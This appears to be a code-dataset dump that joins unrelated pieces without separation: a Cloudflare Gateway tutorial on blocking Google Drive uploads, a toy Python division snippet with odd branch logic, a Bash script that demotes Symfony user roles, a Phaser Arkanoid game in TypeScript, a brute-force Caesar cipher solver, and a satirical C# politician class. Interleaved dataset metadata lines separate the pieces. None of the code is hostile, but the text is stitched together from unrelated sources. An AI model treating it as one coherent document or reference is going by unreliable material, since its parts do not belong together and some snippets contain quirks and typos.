--- updated: 2021-03-09 category: 🛡️ Web Gateway difficulty: Advanced --- # Block file uploads to Google Drive You can use Cloudflare Gateway and the Cloudflare WARP client application to prevent enrolled devices from uploading files to an unapproved cloud storage provider. **🗺️ This tutorial covers how to:** * Create a Gateway policy to block file uploads to a specific provider * Enroll devices into a Cloudflare for Teams account where this rule will be enforced * Log file type upload attempts **⏲️ Time to complete:** 10 minutes ## Before you start 1. [Connect devices](https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp) to Cloudflare's edge with the WARP client and [install the root certificate](/connections/connect-devices/warp/install-cloudflare-cert) 1. [ Enable web inspection](/connections/connect-devices/warp/control-proxy) ## Create a Gateway HTTP policy You can [build a policy](/policies/filtering/http-policies) that will block file uploads to Google Drive. Navigate to the `Policies` page. On the HTTP tab, click `Add a policy`. ![Add Policy](../static/secure-web-gateway/block-uploads/add-http-policy.png) Cloudflare curates a constantly-updating list of the hostnames, URLs, and endpoints used by common applications. In this example, "Google Drive" list containst the destinations used by Google Drive. In the rule builder, select "Application" in the **Selector** field, "in" in the **Operator** field, and under "File Sharing" select "Google Drive" in the **Value** field. ![Select Drive](../static/secure-web-gateway/block-uploads/select-google-drive.png) Next, click **+ Add Condition** and choose "Upload Mime Type" and "matches regex". Under value, input `.*` - this will match against files of any type being uploaded. ![Block Drive](../static/secure-web-gateway/block-uploads/upload-mime-type.png) Scroll to **Action** and choose "Block". Click **Create rule** to save the rule. ## Change rule precedence You can control the order of rule operations in the Gateway policies page. If you need to allow certain users in your organization to upload files, create a rule with the same first two expressions and add a condition that specifies the user or group. Instead of "Block" choose "Allow" in the **Action** field. ![Allow Drive](../static/secure-web-gateway/block-uploads/http-rule-list.png) Rank the Allow rule higher than the Block rule. ![Rule List](../static/secure-web-gateway/block-uploads/allow-first.png) ## Test policy You can test the policy by attempting to upload a file to Google Drive. Google Drive should return an error message when blocked. ![Block Action](../static/secure-web-gateway/block-uploads/block-result.png) ## View Logs Once enabled, if a user attempts to upload a file you can view logs of the block. Navigate to the `Logs` section of the sidebar and choose `Gateway`. Open the Filter action and select `Block` from the dropdown under `Decision`. ![Block Action](../static/secure-web-gateway/block-uploads/block-gateway-logs.png)
Python
UTF-8
140
3.609375
4
[]
no_license
numer = 5 denom = 0 if denom != 0: print(numer/denom) elif numer >= 10: print('8') else: print('Division by zero not allowed')
Shell
UTF-8
563
3.296875
3
[]
no_license
#!/bin/bash SCRIPT_DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd ) SYMFONY="$SCRIPT_DIR/../../Symfony" CONSOLE="$SYMFONY/bin/console" # mysql -u [user] -p -sNe 'SELECT username_canonical FROM fos_user;' [database] pushd "$SYMFONY" while read name do $CONSOLE fos:user:demote "$name" ROLE_READER $CONSOLE fos:user:demote "$name" ROLE_ASSESSOR $CONSOLE fos:user:demote "$name" ROLE_SUPERVISOR $CONSOLE fos:user:demote "$name" ROLE_ADMIN # old role - doesn't exist anymore $CONSOLE fos:user:demote "$name" ROLE_EDITOR done < "${1:-/dev/stdin}" popd
TypeScript
UTF-8
4,782
2.734375
3
[ "ISC", "MIT" ]
permissive
import * as Phaser from 'phaser'; import { HEIGHT, WIDTH } from '../../config'; import { subscribeToExit } from '../../utils/menu'; const BALL_SPEED = 200; const LIVES = 3; const clamp = (val: number, min: number, max: number) => Math.max(min, Math.min(max, val)); type GameObjectWithPhysics = Phaser.GameObjects.Shape & { body: Phaser.Physics.Arcade.Body; }; type PlayerKeys = Record< 'left' | 'right' | 'start' | 'enter', Phaser.Input.Keyboard.Key >; export class ArcanoidScene extends Phaser.Scene { player: GameObjectWithPhysics; playerKeys: PlayerKeys; ball: GameObjectWithPhysics; bricks: Phaser.GameObjects.Group; livesLabel: Phaser.GameObjects.Text; levelLabel: Phaser.GameObjects.Text; gameOverLabel: Phaser.GameObjects.Text; isGameOver = false; isStart = false; lives = LIVES; level = 1; create() { this.isGameOver = false; this.isStart = false; this.livesLabel = this.add.text(20, 20, ''); this.updateLives(LIVES); this.levelLabel = this.add.text(20, 40, ''); this.updateLevel(1); this.gameOverLabel = this.add .text(WIDTH / 2, (HEIGHT / 3) * 2, 'YOU LOOSE', { fontSize: '30px' }) .setOrigin(0.5); // .setVisible(false); this.gameOverLabel.setVisible(false); this.player = this.add.rectangle( WIDTH / 2, HEIGHT - 20, 100, 20, 0xffffff ) as GameObjectWithPhysics; this.physics.add.existing(this.player); this.player.body.immovable = true; this.playerKeys = { left: this.input.keyboard.addKey(Phaser.Input.Keyboard.KeyCodes.LEFT), right: this.input.keyboard.addKey(Phaser.Input.Keyboard.KeyCodes.RIGHT), start: this.input.keyboard.addKey(Phaser.Input.Keyboard.KeyCodes.SPACE), enter: this.input.keyboard.addKey(Phaser.Input.Keyboard.KeyCodes.ENTER), }; this.ball = this.add.circle( -100, -100, 10, 0xff0000 ) as GameObjectWithPhysics; this.physics.add.existing(this.ball); this.ball.body.bounce.set(1); this.bricks = this.add.group(); this.addBricks(); subscribeToExit(this); } update() { const playerBody = this.player.body; const ballBody = this.ball.body; if (this.playerKeys.left.isDown) { playerBody.setVelocityX(-500); } else if (this.playerKeys.right.isDown) { playerBody.setVelocityX(500); } else { playerBody.setVelocityX(0); } playerBody.x = clamp(playerBody.x, 0, WIDTH - playerBody.width); if (this.isGameOver) { if (this.playerKeys.enter.isDown) { this.isGameOver = false; this.gameOverLabel.setVisible(false); this.updateLives(LIVES); this.updateLevel(1); this.addBricks(); this.lipBall(); } } else if (this.isStart) { if (ballBody.y > HEIGHT) { this.isStart = false; this.updateLives(this.lives - 1); if (this.lives <= 0) { this.isGameOver = true; this.gameOverLabel.setVisible(true); } } else if (ballBody.x > WIDTH - ballBody.width) { ballBody.setVelocityX(-Math.abs(ballBody.velocity.x)); } else if (ballBody.x < 0) { ballBody.setVelocityX(Math.abs(ballBody.velocity.x)); } else if (ballBody.y < 0) { ballBody.setVelocityY(Math.abs(ballBody.velocity.y)); } else { this.physics.collide(this.ball, this.player); this.physics.collide(this.ball, this.bricks, (_ball, _brick) => { _brick.destroy(); if (this.bricks.countActive() <= 0) { this.addBricks(); this.updateLevel(this.level + 1); this.isStart = false; } }); } } else if (this.playerKeys.start.isDown) { this.isStart = true; ballBody.setVelocity(BALL_SPEED, -BALL_SPEED); } else { this.lipBall(); } } addBricks() { this.bricks.clear(true, true); for (let col = 0; col < 5; col++) { for (let row = 0; row < 5; row++) { const brick = this.add.rectangle( 100 + 150 * col, 100 + 50 * row, 100, 20, 0xffffff ) as GameObjectWithPhysics; this.physics.add.existing(brick); brick.body.immovable = true; this.bricks.add(brick); } } } lipBall() { const playerBody = this.player.body; const ballBody = this.ball.body; ballBody.x = playerBody.x + (playerBody.width - ballBody.width) / 2; ballBody.y = playerBody.y - playerBody.height; ballBody.setVelocity(0, 0); } updateLives(lives: number) { this.lives = lives; this.livesLabel.text = `Lives: ${this.lives}`; } updateLevel(level: number) { this.level = level; this.levelLabel.text = `Level: ${this.level}`; } }
Python
UTF-8
515
2.953125
3
[]
no_license
from solvers.solver_process import SolverProcess from ciphers.caesar import * class CaesarSolver(SolverProcess): """ Automatic key finder for the Caesar Cipher""" def __init__(self): super(CaesarSolver, self).__init__("Caesar Cipher") def run(self, text): """ Run the automatic key finding """ # simply brute force the 26 possibilities self.set_total_possibilities(26) for i in range(26): self.possibility(i, caesar(text, -i)) self.done()
C#
UTF-8
2,158
2.65625
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Democracy.Definitions; using Democracy.Government; using Democracy.Government.GeneralImp; namespace Democracy.World.NorthAmerica.Canada { public class Duplicitous : Politician, IPolitician { private IRiding riding; public Duplicitous( string name, IRiding riding ) : base( name ) { Riding = riding; } override public IRiding Riding { get { return riding; } set { riding = value; ApprovalRating = CalculateApprovalRating(); } } override public string GetSoundBite( Issue issue ) { return DuplicitousConstitution.Responses[ issue ]; } private double CalculateApprovalRating() { double rating = 0; foreach( KeyValuePair<Issue, double> issue in DuplicitousConstitution.IssueRatings ) { rating += riding.Populous.RateStanceOnIssue( issue.Key, issue.Value, 0 ); } return rating / DuplicitousConstitution.IssueRatings.Count; } } class DuplicitousConstitution { public static IDictionary<Issue, string> Responses = new Dictionary<Issue, string>() { { Issue.Transportation, "Duplicitous response on Transportation" }, { Issue.Abortion, "Duplicitous response on Abortion" }, { Issue.Employment, "Duplicitous response on Employment" }, { Issue.Energy, "Duplicitous response on Energy" }, { Issue.HealthCare, "Duplicitous response on HealthCare" }, { Issue.Taxes, "Duplicitous response on Taxes" } }; public static IDictionary<Issue, double> IssueRatings = new Dictionary<Issue, double>() { { Issue.Transportation, 40 }, { Issue.Abortion, -50 }, { Issue.Employment, -80 }, { Issue.Energy, -90 }, { Issue.HealthCare, 10 }, { Issue.Taxes, -95 } }; } }